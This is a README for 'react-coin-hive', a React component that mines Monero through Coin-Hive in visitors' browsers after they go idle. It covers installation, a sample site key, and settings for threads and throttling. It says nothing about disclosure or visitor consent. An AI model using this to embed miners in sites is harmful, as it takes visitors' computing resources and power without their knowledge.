React Coin-Hive
Mine cryptocurrency while your users haven’t engaged with your content lately. Inspired by the last paragraph of this article.
This uses Coin-Hive to mine Monero (XMR).
Installation
npm install --save react-coin-hive
Usage
<CoinHive siteKey='ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00'/>
Props
-
siteKey
: Your Coin-Hive Site Key.
-
timeout
: How long before considering that the user is idle in milliseconds. Default is 30000
.
-
userName
: If used, the miner will be created with CoinHive.User(siteKey, userName)
. By default the miner is created with CoinHive.Anonymous(siteKey)
.
-
threads
: The number of threads the miner should start with. Default is 2
.
-
throttle
: The fraction of time that threads should be idle. Default is 0
.
-
onInit
: A function that takes the miner
instance as argument. It's called when the miner is created.
-
onStart
: A function that takes the miner
instance as argument. It's called every time the miner is started.
-
onStop
: A function that takes the miner
instance as argument. It's called every time the miner is stopped.
Disclaimer
I have nothing to do with coin-hive.com